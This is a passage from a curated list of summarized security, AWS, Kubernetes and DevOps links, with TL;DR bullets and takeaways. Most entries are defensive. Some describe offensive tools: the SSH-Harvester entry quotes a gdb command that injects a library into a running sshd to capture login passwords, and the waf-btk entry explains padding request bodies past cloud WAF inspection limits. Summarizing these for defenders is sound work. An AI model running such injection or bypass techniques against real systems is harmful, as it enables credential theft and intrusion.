    • HBONE: Traffic between mesh-capable endpoints is upgraded to an encrypted HTTP-based overlay tunnel.
    • Routing: Otherwise traffic follows normal Kubernetes service routing.

    Takeaway: Ambient splits L4 (ztunnel) from L7 (waypoint), so you pay for L7 only where needed. Read the current docs, since paths and features changed after 2023.

  • Istio: The Past, Present and Future of the Project and Community
    summary

    TL;DR: KubeCon talk by Louis Ryan (solo.io) and John Howard (Google) on Istio’s project health, recent features and roadmap after its CNCF graduation.

    • Topics: Project and community health and new features in recent releases.
    • Ambient: Progress on the sidecar-less ambient data plane mode.
    • Gateway API: Status of Gateway API support.
    • Future: Roadmap and community-building plans, plus how to contribute.
    • Source caveat: Based on the video description only.

    Takeaway: A late-2023 snapshot of Istio’s direction. Watch it for context on why ambient and Gateway API became the focus.

  • Node Size Matters: Running K8s as Cheaply as Possible
    summary

    TL;DR: KubeCon talk by Alex Meijer and Michael Dresser (Stackwatch) on Kubernetes node system overhead as a hidden cost, and how node choice affects it.

    • Problem: Overhead is the reserved, unusable part of every node; poor node selection can leave much less capacity than expected.
    • Study: Overheads measured across major cloud providers’ node families.
    • Tooling: Demo of new overhead measurement features in OpenCost (CNCF Sandbox).
    • Output: Actionable recommendations and methods for sizing clusters.
    • Source caveat: Based on the video description only.

    Takeaway: Small nodes waste a larger share on reserved overhead. Measure allocatable versus capacity before picking instance sizes.

  • flan: A Pretty Sweet Vulnerability Scanner
    summary

    TL;DR: Flan Scan is Cloudflare’s lightweight network vulnerability scanner: a container wrapper around Nmap and the vulners NSE script that maps detected service versions to CVEs.

    • Status: The repository is archived (read-only).
    • Workflow: Put IPs or CIDRs in shared/ips.txt, run make build then make start.
    • Default scan: nmap -sV -oX /shared/xml_files -oN - -v1 $@ --script=vulners/vulners.nse <ip>; extra Nmap flags (UDP, IPv6) can be passed to docker run.
    • Reports: LaTeX by default; also md, html and json (e.g. make html); raw XML kept in shared/xml_files.
    • Cloud upload: Push reports to S3 or GCS with upload=aws|gcp and bucket= env vars.
    • Kubernetes: Can be deployed as a scanner on Kubernetes.

    Takeaway: A simple pattern for scheduled version-based CVE scanning. Since it is archived, use it as a reference or fork rather than a maintained tool.

  • Cilicon: Self-Hosted Ephemeral macOS CI on Apple Silicon
    summary

    TL;DR: Cilicon, by Trade Republic, is a macOS app that uses Apple’s Virtualization Framework to run ephemeral macOS CI VMs on Apple Silicon with near-native performance.

    • CI support: GitHub Actions, Buildkite Agent, GitLab Runner and arbitrary scripts.
    • Cycle: Each job gets a fresh VM, which is discarded afterwards.
    • Version 2.0: Runs commands over a built-in SSH client instead of a Login Item script; partly adopts the tart image format.
    • Images: Integrated OCI client pulls prebuilt tart images; Cirrus Labs macos-sonoma-xcode images are recommended.
    • Migration: Rename vmBundlePath to source; 1.0 images can be auto-converted (default SSH admin:admin).
    • Known issue: swift-nio SSH problems on macOS 15.0-15.3; use 15.4+.

    Takeaway: A low-cost way to get clean, ephemeral macOS runners on your own Macs. Change default VM credentials before use.

  • awskillswitch: Lambda Function to Contain an AWS Account Compromise
    summary

    TL;DR: AWS Kill Switch, by secengjeff, is a Go Lambda function and PoC client deployed in a dedicated Security account to quickly contain an AWS account compromise.

    • Actions: apply_scp freezes a target account with an SCP; detach_policies strips a role; revoke_sessions revokes sessions on one role or ALL customer managed roles; delete_role.
    • Roles: Needs assumable roles from the Security account into the management account (for apply_scp) and into target accounts; StackSets suggested.
    • Permissions: Documented per action, e.g. organizations:CreatePolicy and organizations:AttachPolicy for apply_scp.
    • Anti-tamper: Example SCP denies modifying security-role (iam:UpdateAssumeRolePolicy, iam:DetachRolePolicy, etc.) so attackers cannot disable it.
    • Warning: Default apply_scp restricts most IAM actions and may break applications; review switch.conf first.
    • Build: Tested on go1.21.3 arm64; last push December 2023.

    Takeaway: Pre-stage containment actions before an incident, not during one. Even if you skip the tool, copy the role-protection SCP pattern.

  • AWS pre:Invent 2023
    summary

    TL;DR: Chris Farris’s annual “pre:Invent” roundup (22 November 2023) of security and governance relevant AWS announcements made between 1 October and re:Invent 2023, with his commentary.

    • Volume: 511 announcements since 1 October; 17 November had the most.
    • SCPs in China: Service control policies now work in the AWS China (Beijing and Ningxia) Regions.
    • AMIs: EC2 AMIs can be set to disabled, which makes them private and blocks new launches.
    • SSM: Default Host Management Configuration (DHMC) enables Systems Manager for all EC2 instances in an organization; he notes SSM is needed for Inspector v2.
    • Other items: AWS Config added 19 resource types; multi-VPC ENI attachments went GA.
    • Sections: Security, Backup & Recovery, Governance and FinOps, Serverless, and services adding new security features.

    Takeaway: A curated filter over hundreds of launches. Skim the security and governance sections when you plan your next guardrail changes.

  • How to Create an AMI Hardening Pipeline and Automate Updates to Your ECS Instance Fleet
    summary

    TL;DR: AWS Security Blog walkthrough that hardens ECS-optimized AMIs against the CIS Docker Benchmark with EC2 Image Builder and automatically rolls them out to ECS container instances.

    • Scope: Covers CIS Docker Benchmark sections 1-3 (host, Docker daemon, daemon files), but not every control in them.
    • Build: Image Builder pipeline runs an Ansible playbook from S3, validates benchmarks, writes results to S3, and triggers an Amazon Inspector scan.
    • Rollout: An SNS message starts a Lambda that kicks off a Step Functions state machine; it creates a new launch template version and starts an ASG instance refresh.
    • Targeting: Cluster tags set at CloudFormation deploy time choose which ECS clusters are refreshed.
    • Notifications: Instance refresh results go to an SNS topic; a weekly Lambda warns when a newer ECS-optimized base AMI exists.
    • Prerequisites: Existing ECS cluster with EC2 capacity providers, AWS CLI, Inspector for EC2 enabled.

    Takeaway: A reusable build-scan-refresh loop for EC2-backed ECS. The weekly base-AMI check still needs a human to update the recipe.

  • Preventing Accidental Internet-Exposure of AWS Resources (Part 1: VPC)
    summary

    TL;DR: Kevin Hock’s Part 1 of a series on preventing accidental internet exposure in AWS, focused on VPC resources: ban Internet Gateways in sub-accounts via SCP and provide centralized egress.

    • Core control: Deny ec2:CreateInternetGateway in sub-accounts; every VPC internet exposure path needs an IGW.
    • Problem: AWS couples egress and ingress, since both need an IGW, so private accounts need a paved egress path.
    • Option 1 (recommended): Centralized egress via Transit Gateway, with a 0.0.0.0/0 route to a TGW in another account.
    • Cost: By his graph, at 20 VPCs you need over 55 TB before centralized egress costs more; 1 PB breaks even at 324 VPCs.
    • Other options: PrivateLink or peering with a proxy (mostly non-options because of source/destination checks), GWLB with a firewall, VPC Sharing, IPv6 for egress.
    • Reference: SummitRoute/aws_exposable_resources lists resources that can be made public.

    Takeaway: One SCP removes a whole class of accidental exposure. Build the central egress path first so teams do not need an IGW.

  • Deep Dive into the New Amazon EKS Pod Identity Feature
    summary

    TL;DR: Christophe Tafani-Dereeper’s Datadog Security Labs deep dive into EKS Pod Identity, launched at re:Invent 2023 as an alternative to IRSA for giving pods AWS credentials.

    • Setup: aws eks create-pod-identity-association maps a namespace and service account to a role that trusts pods.eks.amazonaws.com (sts:AssumeRole, sts:TagSession).
    • Visibility: eks:ListPodIdentityAssociations and DescribePodIdentityAssociation show which pods get which roles.
    • Agent: The eks-pod-identity-agent add-on runs as a DaemonSet with hostNetwork: true, CAP_NET_BIND_SERVICE and a privileged init container.
    • Mechanism: The agent serves 169.254.170.23/v1/credentials, takes the service account token and calls eks-auth:AssumeRoleForPodIdentity.
    • SDK pickup: A webhook injects AWS_CONTAINER_CREDENTIALS_FULL_URI and AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE, the existing container credential provider used by ECS.
    • Method: Black-box reverse engineering of the binary with crane, Ghidra and redress; later confirmed against source released mid-2024.

    Takeaway: Pod Identity moves pod-to-role mapping into the EKS API, which is easier to audit than IRSA trust policies. Note that node credentials can also call the assume API.

  • What Is GitOps and Why Is It (Almost) Useless? Part 1
    summary

    TL;DR: Part 1 of Andrii Chepik’s HackerNoon critique (August 2023) arguing that GitOps, as promoted by Weaveworks since 2017, is not a silver bullet and brings hidden complexity, using Flux with Helm as the example.

    • Background: Immutable infrastructure splits stateless and stateful parts; CI/CD automates delivery; configuration drift is the IaC problem GitOps targets.
    • Flux and Helm: Walks through HelmRelease custom resources and how Flux reconciles them.
    • Checklist: GitOps needs image build scripts, an infrastructure repo, a HelmRelease generator, a Helm repo, and several CI and Flux accounts.
    • Single source of truth: Git is not the only source; the HelmRelease depends on a Helm chart and a Docker image stored elsewhere.
    • Next: Part 2 covers multiple environments, secrets, CI Ops vs GitOps, rollback and multiple clusters.

    Takeaway: A useful counterpoint before adopting Flux-style GitOps. List the extra repos, accounts and controllers you will need.

  • What Is GitOps and Why Is It (Almost) Useless? Part 2
    summary

    TL;DR: Part 2 of Andrii Chepik’s HackerNoon GitOps critique (August 2023), covering multi-environment, secrets and multi-cluster problems, and naming who actually benefits from GitOps.

    • Environments: Promoting by merging dev to stage breaks when HelmRelease values differ; valuesFiles does not merge well either.
    • valuesFrom advice: Keep a single value in the ConfigMap, the environment name, and do the rest with Helm templating; otherwise config spreads across 4 repos and 2 deploy systems.
    • Secrets: Plain-text passwords in Git are a no-go; options include random in-environment secrets, Mozilla SOPS or Bitnami Sealed Secrets.
    • Multi-cluster: A HelmRelease alone does not say where the app came from, its build logs, or which clusters pull it.
    • Who needs it: Teams without a working CI/CD, as one security layer, for large multi-component platforms, or where pull beats push (e.g. canary).
    • Definition: Author’s formula: GitOps = Continuous Delivery minus Continuous Deployment.

    Takeaway: Decide whether pull-based delivery solves a real problem for you. If not, a well-built CI/CD push pipeline may be simpler.

  • cloudtrail2sightings: Convert CloudTrail Data to MITRE ATT&CK Sightings
    summary

    TL;DR: cloudtrail2sightings, by zmallen, converts CloudTrail logs from incidents or simulated attacks into MITRE ATT&CK Sightings JSON using a Vector pipeline.

    • Input: CloudTrail JSON with a top-level Records key (check with jq -r 'has("Records")'); a sample cloudtrail.zip is included.
    • Data sources: Suggests stratus-red-team or the public flaws.cloud CloudTrail dataset.
    • Run: Set the include path, then vector --config vector.toml; output goes to sightings.json.
    • Queries: jq examples list software_name (userAgent) and map eventName to technique_id, and filter for stratus-red-team activity.
    • Status: Small project (about 84 stars), last push July 2022.

    Takeaway: A quick way to tag known-bad CloudTrail events with ATT&CK technique IDs. Run it on stratus-red-team output to validate detections.

  • azurechat: Azure Chat Solution Accelerator Powered by Azure OpenAI Service
    summary

    TL;DR: Azure Chat is Microsoft’s solution accelerator for deploying a private ChatGPT-style chat tenant in your own Azure subscription on Azure OpenAI, with chat over your files and data.

    • Status: The repository is now archived.
    • Benefits claimed: Private to your tenant, network isolation and enterprise authentication, plug-in internal data sources and services.
    • 2025 updates: Managed identity deployment that removes almost all keys, Entra ID app registration helper scripts (appreg_setup.sh/.ps1), private endpoints and ESLZ-compliant deployment.
    • Deploy: Azure Developer CLI or Deploy to Azure button; an identity provider and admin user are required.
    • Features: Chat over files, personas, extensions; GitHub Actions deploy docs.

    Takeaway: A reference design for an internal LLM chat on Azure. Since it is archived, use it for patterns, not as a maintained product.

  • IceKube: Find Attack Paths Within a Kubernetes Cluster from Low Privilege to Cluster-Admin
    summary

    TL;DR: IceKube, from WithSecure Labs, enumerates a Kubernetes cluster into Neo4j and computes attack paths from low-privilege identities to targets such as cluster-admin.

    • Setup: docker-compose up -d for Neo4j (localhost:7474), then pip install icekube or Poetry.
    • Access needed: A kubectl context with broad read access including secrets; secret data fields are deleted on ingestion.
    • Commands: icekube enumerate, icekube attack-path, icekube run (both), icekube purge.
    • Querying: Cypher queries in Neo4j; attack edges have attack_path: 1; disable “Connect result nodes” in the browser.
    • Offline: icekube download or the Rust tool freezer, then icekube load.
    • Filtering: -i to ignore resource types; events and componentstatuses are ignored by default.

    Takeaway: BloodHound-style path analysis for Kubernetes RBAC. Run it on your own clusters to find service accounts with unexpected escalation routes.

  • How to Use the PassRole Permission with IAM Roles
    summary

    TL;DR: AWS Security Blog deep dive on iam:PassRole: what it is, when it is checked, and best practices to prevent privilege escalation.

    • What it is: A permission, not an API call, checked when a resource such as a Lambda function or EC2 instance is created or updated with a service role.
    • Three conditions: The caller has iam:PassRole on that role with no denies; the role trusts the service principal; the role and caller are in the same account.
    • Avoid wildcards: Resource: "*" with iam:PassRole lets someone pass any role, including admin ones.
    • Separate statements: Keep iam:PassRole in its own policy statement so its resource can be scoped.
    • Paths and naming: Allow passing only roles under a path such as /application_role/, combined with permissions boundaries for developer-created roles.
    • Governance: PassRole is still subject to SCPs, VPC endpoint policies, session policies and permissions boundaries.

    Takeaway: Audit policies for iam:PassRole on *. Scope it to a role path, which gives developers freedom without an escalation path.

  • Introducing IAM Access Analyzer Custom Policy Checks
    summary

    TL;DR: AWS Security Blog launch post for IAM Access Analyzer custom policy checks, which use automated reasoning to check IAM policies for critical permissions or increased permissiveness before deployment.

    • Problem: Manual reviews of developer-written IAM policies slow delivery.
    • CheckNoNewAccess: Compares a new policy with an existing one and reports if it grants more access.
    • CheckAccessNotGranted: Checks that a policy does not allow listed sensitive actions, e.g. cloudtrail:StopLogging or cloudtrail:DeleteTrail.
    • July 2024 update: Added CheckNoPublicAccess for resource policies; CheckAccessNotGranted can also check specific resources.
    • Workflow: Run from the CLI locally or embed in CI/CD; samples use the AWS CLI and CDK, with a GitHub repo.

    Takeaway: Put these checks in the pipeline as a gate on IAM changes. A short deny-list of critical actions catches the worst mistakes cheaply.

  • Self-Study DevOps Projects
    summary

    (Could not fetch full text.)

    TL;DR: Self-study DevOps Projects by Tomasz Cholewa (cloudowski) is a set of graded hands-on tasks; Task 1 is building, containerizing and running a simple web app on Kubernetes.

    • Level 1: Write a small app (e.g. Go, Python) that shows hostname and version, with a Dockerfile.
    • Image goals: Multistage or scratch builds, as small as possible, for both amd64 and arm64, pushed to a private registry.
    • Run: Multiple instances on a cluster with probes and resource requests/limits.
    • Level 2: Automate builds on every git push and ensure no critical vulnerabilities in each image.
    • Structure: The site lists Tasks 1-5.
    • Source caveat: The live page returned empty content; this is based on a Wayback Machine snapshot from April 2025.

    Takeaway: A good practical syllabus for juniors. Use Task 1 as an onboarding exercise covering images, multi-arch and probes.

  • Learn and Test DMARC
    summary

    TL;DR: Learn and Test DMARC is an interactive web tool that visualizes how a receiving mail server validates SPF, DKIM and DMARC for an email you send to its test address.

    • Tester: Send a mail to the given @dmarctester.com address and watch SPF, DKIM and DMARC checks step by step.
    • Results shown: Source IP and hostname, SPF domain and result, DKIM domain, selector and algorithm, alignment, p= policy and final verdict.
    • Header analysis: Paste email headers or source for a visual explanation.
    • Quiz: A ten-question DMARC quiz with explanations.
    • Notes: Best viewed on desktop; results can be anonymized; sponsored by a DMARC monitoring vendor.

    Takeaway: The fastest way to see why a domain’s mail fails alignment. Use it when setting up or debugging SPF, DKIM and DMARC records.

  • Breaking DRM in Polish Trains
    summary

    TL;DR: 37C3 talk by Redford, q3k and MrTick on reverse-engineering Polish EMU trains that stopped working after servicing by an “unauthorized” company, revealing deliberate lock-out logic.

    • Story: Trains from a series of Polish EMUs refused to move a few days after arriving at an independent service company; the manufacturer blamed interference with a security system.
    • Technical content: How modern EMUs and the Train Control & Monitoring System work, and how to analyze TriCore machine code.
    • Finding: The “security” systems found inside, with the punchline of running unlock.py on a dozen trains.
    • Format: 61 minutes, 27 December 2023, with translated audio tracks and English subtitles; link starts at 13:09.
    • Source caveat: Based on the talk page abstract only.

    Takeaway: A strong right-to-repair case study. It shows why firmware in critical infrastructure needs independent scrutiny.

  • Amazon EKS Introduces Upgrade Insights
    summary

    TL;DR: AWS announced Amazon EKS upgrade insights on December 20, 2023: EKS automatically scans clusters for issues that could break an upgrade to a newer Kubernetes version and gives remediation advice.

    • Checks: Scans against an AWS-maintained list of upgrade-impacting issues, updated as Kubernetes and EKS change. The announcement does not list individual checks.
    • Access: Results are viewable any time in the EKS console or via the EKS APIs, evaluated against all future EKS-supported versions.
    • Remediation: Each insight comes with recommended fixes.
    • Regions: All regions except AWS GovCloud (US) and China (Beijing, Ningxia).
    • Cost: Not mentioned in the announcement.

    Takeaway: Check cluster insights (for example deprecated API usage) before every EKS version bump instead of relying only on manual tools like pluto or kubent.

  • Top Announcements of AWS re:Invent 2023
    summary

    TL;DR: AWS News Blog recap of the major re:Invent 2023 launches, grouped by category, last updated 14 December 2023.

    • Generative AI: Amazon Q across services (e.g. Generative SQL in Redshift, Q in QuickSight), plus SageMaker Studio and inference updates.
    • Zero-ETL: Previews for Aurora PostgreSQL, RDS for MySQL and DynamoDB into Redshift, and OpenSearch with S3.
    • Compute: Graviton4-powered R8g instances in preview and high-memory U7i instances.
    • Containers: EKS Pod Identity simplifies IAM permissions for EKS applications.
    • Storage: S3 Express One Zone (up to 10x S3 Standard performance), EBS Snapshots Archive in AWS Backup, Backup restore testing, EFS Archive, EFS up to 250,000 read IOPS.
    • Ops: CloudWatch Logs pattern analytics and anomaly detection; SQS FIFO throughput increase and DLQ redrive.

    Takeaway: A one-page index of the year’s launches. For security, look at Pod Identity, Backup restore testing and the Security, Identity and Compliance section.

13.11.2023

  • Gosh: Writing Go at the Command Line
    summary

    TL;DR: Nick Wells’s talk at September Gophers about gosh, a tool he wrote so Go code can be written and run directly at the command line, as other languages allow.

    • Gap filled: Go has no built-in way to execute code inline from the shell; gosh adds one.
    • Content: How gosh works internally and examples of what you can do with it.
    • Source caveat: Based only on the short video description; tool flags and implementation details are not covered here.

    Takeaway: Worth a look if you reach for Python or awk one-liners but would rather stay in Go.

  • go-openai: OpenAI ChatGPT, GPT-3, GPT-4, DALL·E, Whisper API Wrapper for Go
    summary

    TL;DR: go-openai by sashabaranov is a popular unofficial, zero-dependency Go client for the OpenAI API (about 10.8k stars).

    • Page changed: The README now targets the 2026 API surface and recommends the Responses API, not the 2023 ChatGPT/GPT-4/DALL-E focus in the title.
    • Install: go get github.com/sashabaranov/go-openai; requires Go 1.18+.
    • Responses API: client.CreateResponse with Instructions and Input; PreviousResponseID continues a conversation; CreateResponseStream streams deltas.
    • Chat Completions: Still available for existing integrations.
    • Coverage: Embeddings, images, audio, moderation, files, fine-tuning, batches, vector stores and legacy Assistants.

    Takeaway: The de facto Go OpenAI client. Pin a version, because model constants and recommended APIs have changed a lot since 2023.

  • Following Attackers’ (Cloud)trail in AWS: Methodology and Findings in the Wild
    summary

    TL;DR: Datadog Security Labs (Martin McCloskey, Christophe Tafani-Dereeper, Frederic Baguelin) describe hypothesis-driven threat hunting in AWS CloudTrail and share attacker behaviors and IOCs seen in the wild.

    • Hypotheses: Attackers create IAM users for persistence, abuse SES for spam, create or import EC2 key pairs and change security groups, and enumerate stolen permissions.
    • Backdoor users: Observed names include root, ses-admin, sesadminsmtp, ampIify-dev and EmperorsToolsShops32; root is likely chosen to blend in.
    • Signals: Bursts of AccessDenied, CreateUser from EC2 role sessions (i-...), the same user name tried across environments, and typo-like names.
    • Check before persist: GetUser probes for names such as admindvelop; DescribeInstances filtered on key name xg1 before CreateKeyPair.
    • Security groups: Attempts to create a group named Java_Ghost in several environments.
    • Enumeration: Common first calls include sts:GetCallerIdentity, ses:GetAccount, ses:GetSendQuota, ses:ListIdentities, sns:GetSMSAttributes and iam:ListUsers.
    • Actor link: One user name ties to the “Emperors Tools” toolkit sold online, whose upload script itself has an arbitrary file upload bug.

    Takeaway: SES and IAM user creation are top abuse paths after key leaks. Turn these IOCs and AccessDenied patterns into CloudTrail detections.

  • Attacking AWS Cognito with Pacu (Part 1)
    summary

    TL;DR: Rhino Security Labs Part 1 by David Kutz-Marks on common AWS Cognito misconfigurations seen in pentests, introducing two new Pacu modules.

    • Components: App client, user pool (like an OIDC IdP) and identity pool (issues temporary AWS credentials).
    • Enumeration: Client, user pool and identity pool IDs leak in HTTP responses.
    • Open sign-up: Self-registration is on by default, so attackers can register with leaked IDs even without a login page.
    • Escalation: User-modifiable custom attributes used for RBAC; case-sensitive email changes can enable account takeover.
    • Pivot: The ID token can list extra IAM roles the user can assume.
    • Tooling: cognito__enum (needs IAM creds with Cognito read) and cognito__attack (needs at least one resource ID); details in Part 2.

    Takeaway: Check Cognito for open sign-up, writable attributes used in authorization, and over-permissive identity pool roles.

  • former2: Generate CloudFormation / Terraform / Troposphere Templates from Existing AWS Resources
    summary

    TL;DR: Former2 by Ian Mckay generates infrastructure-as-code from existing AWS resources by scanning your account with the AWS JavaScript SDK in the browser.

    • Outputs: CloudFormation, Terraform, Troposphere, CDK v1/v2 (TypeScript, Python, Java, C#), CDK for Terraform, Pulumi, and draw.io diagrams.
    • Coverage: Badges show about 84% of CloudFormation and 49% of Terraform resource types.
    • Helper extension: Needed for services without CORS such as S3 and IAM; available for Chrome, Firefox and Edge.
    • Credentials: Use an IAM key pair, ideally with ReadOnlyAccess unless you use the Import feature.
    • Usage: Run at former2.com or self-host; a limited CLI is also available.

    Takeaway: Fast way to codify click-ops resources. Use read-only keys and review the output, since generated code mirrors whatever drift exists.

  • waf-btk: WAF Bypass PoC
    summary

    TL;DR: waf-btk by Ghost Security is a PoC HTTP/HTTPS proxy that bypasses cloud WAF rules by padding request bodies beyond the size those WAFs inspect.

    • Status: Archived; last push October 2023.
    • Inspection limits listed: AWS WAF 8k, Cloudflare 128k, Google Armor 8k, Azure WAF 128k.
    • Run: make run listens on 127.0.0.1:8888.
    • Usage: Add header waf-btk-padding: <KB> (stripped before forwarding); use 8 or more for AWS WAF and 128 or more for Cloudflare.
    • Demo: A JSON body with SELECT * FROM is blocked normally and passes once padded.
    • Mitigation: Block or drop requests larger than the inspection limit, where practical.

    Takeaway: WAF body inspection limits are a real gap. Add a size-constraint rule for oversized bodies on endpoints that do not need them.

  • CloudFlair: Find Origin Servers of Websites Behind CloudFlare Using Censys Scan Data
    summary

    TL;DR: CloudFlair by Christophe Tafani-Dereeper finds origin servers of sites behind Cloudflare (or CloudFront) by matching the site’s TLS certificates against Censys internet-wide scan data.

    • Important caveat: Since late 2024 Censys no longer gives API access to free accounts, so CloudFlair no longer works with free accounts.
    • Method: Find certificates for the domain, find IPv4 hosts presenting them, then compare each candidate’s HTML with the real homepage.
    • Setup: Set CENSYS_API_ID and CENSYS_API_SECRET, create a venv and pip install -r requirements.txt.
    • Run: python cloudflair.py myvulnerable.site; add --cloudfront for CloudFront targets.
    • Root cause: Origins that do not restrict access to the CDN’s IP ranges.

    Takeaway: If your origin answers on the internet, the CDN is not protecting it. Allow-list CDN ranges or use authenticated origin pulls.

  • endoflife.date: Find EOL Dates
    summary

    TL;DR: endoflife.date is a community site that documents end-of-life dates and support lifecycles for software, devices and services in one consistent format.

    • Scale: Tracks 486 products as of the fetch.
    • Coverage: Languages (Python, Java, Node.js), databases (PostgreSQL, Redis), OSes, frameworks, servers (Nginx, Kubernetes) and cloud services (EKS, GKE, AKS).
    • API: Data is available through an API and iCalendar feeds.
    • Ecosystem: Tools such as norwegianblue, end_of_life and cicada use the API.
    • Contributing: Open to new products and corrections; offers guidance for vendors publishing EOL data.

    Takeaway: Use the API in CI or inventory scripts to flag runtimes and clusters nearing EOL before they become a finding.

  • PCI DSS v4.0 on AWS Compliance Guide Now Available
    summary

    TL;DR: AWS Security Assurance Services announces the PCI DSS v4.0 on AWS Compliance Guide, which collects common questions on building PCI DSS compliant workloads on AWS.

    • Audience: Payment application developers, compliance teams, internal assessors and PCI QSAs.
    • Shared responsibility: How the model maps to PCI DSS requirements and what AWS’s Level 1 Service Provider status means.
    • Scoping: Guidance on scoping the cardholder data environment.
    • Diagrams: Examples of diagrams required for assessments.
    • Detail: Requirement-by-requirement guidance with references to AWS documentation for evidence.

    Takeaway: A starting point for v4.0 assessments on AWS. Pair it with your QSA early to agree on scope.

  • Delegating Permission Set Management and Account Assignment in AWS IAM Identity Center
    summary

    TL;DR: AWS Security Blog post showing three IAM policy patterns for delegating IAM Identity Center permission set management and account assignment to teams, without giving them full Identity Center admin.

    • Distinction: This is not Identity Center delegated administration; it works whether Identity Center lives in the management account or a delegated member account.
    • Scenario: Red, Blue and Yellow teams, each in its own OU, with Identity Center delegated to an Identity account.
    • Accounts-based (Red): Assign existing, centrally managed permission sets to accounts in the team’s OU.
    • Permission-based (Blue): Edit and use one specific permission set on the team’s single account.
    • Tag-based (Yellow): Create and edit permission sets tagged Team: Yellow and assign them across the OU.
    • Update: January 2024 fix lets use case 3 use sso:CreateAccountAssignment and sso:ProvisionPermissionSet on permissionSet resources; the console needs extra permissions.

    Takeaway: Tag- or OU-scoped delegation lets teams self-serve access safely. Start with the accounts-based model, which keeps permission set content central.

  • Only One Label to Improve Your Kubernetes Security Posture, with the Pod Security Admission (PSA): Just Do It!
    summary

    TL;DR: CNCF community post by Mathieu Benoit arguing that one namespace label enabling Pod Security Admission is a cheap, built-in security win, and showing how to enforce that label cluster-wide.

    • Background: PSA is stable in Kubernetes 1.25 (beta in 1.23) and replaces PodSecurityPolicy; levels are privileged, baseline, restricted.
    • Enable: kubectl label ns psa-tests pod-security.kubernetes.io/enforce=restricted.
    • Effect: An insecure nginx Deployment is created but its pods are rejected for allowPrivilegeEscalation, capabilities, runAsNonRoot and seccompProfile.
    • Secure example: Non-root UID 65532, drop: [ALL], readOnlyRootFilesystem: true, RuntimeDefault seccomp, nginxinc/nginx-unprivileged.
    • Enforce the label: A ValidatingAdmissionPolicy (beta in 1.28) denies namespaces without enforce=restricted; Kyverno is an alternative.
    • Managed: GKE Autopilot applies baseline with usability changes.

    Takeaway: Label namespaces restricted and make the label mandatory with an admission policy. Use warn or audit mode first to find breaking workloads.

  • Bootstrap an Air Gapped Cluster with Kubeadm
    summary

    TL;DR: Kubernetes blog post by Rob Mengert (Defense Unicorns, 12 October 2023) walking through bootstrapping a kubeadm cluster in a simulated air-gapped Fedora VM.

    • Lab: Fedora 37, Kubernetes v1.27.3, CNI plugins v1.3.0, Flannel v0.22.0; the air gap is a default route to a dummy interface, with scp from the host acting as the transfer.
    • Artifacts: Docker (for an internal registry), containerd, libcgroup, socat, conntrack-tools, CNI plugins, crictl, kubeadm, kubelet, kubectl, k9s, systemd units, kubeadm config and all images.
    • Discovery: He found dependencies by attempting install and fixing each error; each real crossing can cost 20 minutes to weeks.
    • Node prep: sysctl and module config (overlay, br_netfilter), legacy iptables, swap off; firewalld, systemd-resolved and SELinux disabled for the demo only.
    • Packages: Notes that OS packages now come from pkgs.k8s.io.
    • Caveats: Real setups may use data diodes, and artifacts here were not scanned before crossing.

    Takeaway: Build and test a complete artifact manifest before the real crossing. Every missed dependency is another trip.

  • ssh-audit: SSH Server and Client Security Auditing
    summary

    TL;DR: ssh-audit, maintained by Joe Testa (fork of arthepsy/ssh-audit), audits SSH server and client configuration: banners, key exchange, host keys, ciphers, MACs and compression.

    • Analysis: Flags algorithms as unsafe, weak or legacy and gives add/remove recommendations based on the detected software version.
    • History: Uses version history for OpenSSH, Dropbear SSH and libssh to judge compatibility.
    • Policy scans: Check against built-in or custom hardened policies (-P, -M custom_policy.txt).
    • Platform: Linux and Windows, Python 3.10-3.14, no dependencies; PyPI, Homebrew, Docker and Snap packages.
    • Extras: Hardening guides and a web front-end.
    • Status: Actively maintained (about 4.3k stars, pushed October 2026).

    Takeaway: Run it against your bastions and in CI with a policy file to keep SSH crypto settings from drifting.

  • sshlog: SSH Session Monitoring Daemon
    summary

    TL;DR: SSHLog is a free, open source C++/Python Linux daemon that passively monitors OpenSSH servers via eBPF, recording sessions and triggering actions on activity.

    • Recording: Logs all SSH session commands and output for every user.
    • Session sharing: Attach to another user’s session read-only or interactively with sshlog attach [TTY ID].
    • Actions: Slack messages or arbitrary commands on events, remote syslog forwarding, statsd metrics, plug-in architecture.
    • No replacement: Works with the existing OpenSSH daemon.
    • Deploy: Runs as a privileged Docker container (ghcr.io/sshlog/agent:1.1.0) with --net=host --pid=host; diagnostic mode exposes a web UI on port 5000.
    • CLI: sshlog sessions and sshlog watch for live activity.

    Takeaway: Useful for bastion auditing without changing sshd. Lock it down, because session injection and a privileged container are powerful features for attackers too.

  • Vulnerability Management: You Should Know About EPSS
    summary

    (Could not fetch full text.)

    TL;DR: Ryan McGeehan’s Starting Up Security post (9 October 2023) explaining FIRST’s Exploit Prediction Scoring System (EPSS) and why its probabilistic, accountable scores help prioritize large CVE backlogs.

    • What it is: EPSS gives the probability that a CVE is exploited in the wild within the next 30 days.
    • Example: BlueKeep (CVE-2019-0708) scored about 97.5%; before in-the-wild exploitation was seen it was 95.2%, and exploitation followed within 30 days.
    • Lookup: https://api.first.org/data/v1/epss?cve=CVE-2019-0708&pretty=true returns epss and percentile.
    • Versus CVSS: CVSS is an ordinal, hand-crafted score with no measurable error; EPSS is statistical, changes daily and can be scored (e.g. Brier scores); FIRSTCON 2023 data shows it is close to calibrated.
    • Limits: CVE-only, so first-party bugs without CVEs get no score; unusual cases like Log4j are hard (Log4j started at 35%).
    • Role: Scores help triage until human analysis happens; they do not replace it.
    • Source caveat: Medium blocked direct fetching; based on a Wayback Machine copy of the article.

    Takeaway: Add EPSS as a second sort key on top of CVSS when triaging scanner output. Fetch it from the free FIRST API.

  • SSH-Harvester: Harvest Passwords Automatically from OpenSSH Server
    summary

    TL;DR: SSH-Harvester by jm33-m0 is a post-exploitation PoC that injects a shared library into a running OpenSSH sshd and captures passwords as users log in.

    • Tested on: OpenSSH portable 8.2p1 and 9.3p1.
    • Demo: sudo ./start_sshd.sh, then ./inject.sh, then ssh -p2222 user@localhost.
    • Injection: Per the author’s blog, uses __libc_dlopen_mode via GDB (echo 'print __libc_dlopen_mode("/path/lib.so", 2)' | gdb -p <PID>), so sshd need not restart; root is assumed.
    • Harvesting: The library forks a monitor that PTRACE_ATTACHes to sshd children, breakpoints auth_password, and reads the password from RSI.
    • Weaponized version: The author recommends the emp3r0r framework; last push May 2023.

    Takeaway: Root on an SSH server means password logins can be silently harvested. Prefer key-based auth and alert on ptrace or gdb attaching to sshd.

  • marvin: CLI Tool That Scans a K8s Cluster with CEL Expressions for Issues and Misconfigurations
    summary

